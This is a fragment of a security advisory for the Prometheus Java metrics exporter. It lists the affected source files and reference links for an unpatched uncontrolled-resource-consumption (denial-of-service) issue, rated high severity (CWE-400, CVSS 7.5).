prometheus-metrics-exporter-common/src/main/java/io/prometheus/metrics/exporter/common/PrometheusHttpRequest.java(lines 50-73)prometheus-metrics-model/src/main/java/io/prometheus/metrics/model/registry/MetricNameFilter.java(lines 43-55)prometheus-metrics-exporter-httpserver/src/main/java/io/prometheus/metrics/exporter/httpserver/HTTPServer.java(lines 339-347)OWASP: Denial of Service:https://owasp.org/www-community/attacks/Denial_of_Service
Java API: ThreadPoolExecutor:https://docs.oracle.com/javase/8/docs/api/java/util/concurrent/ThreadPoolExecutor.html
Prometheus Scrape Configuration --
paramsfield:https://prometheus.io/docs/prometheus/latest/configuration/configuration/#scrape_configReported by: Security Research Team
Date: 2026-06-24
Severity: High (CVSS 7.5)
CWE: CWE-400 (Uncontrolled Resource Consumption)
Status: Unpatched (as of version 1.8.0)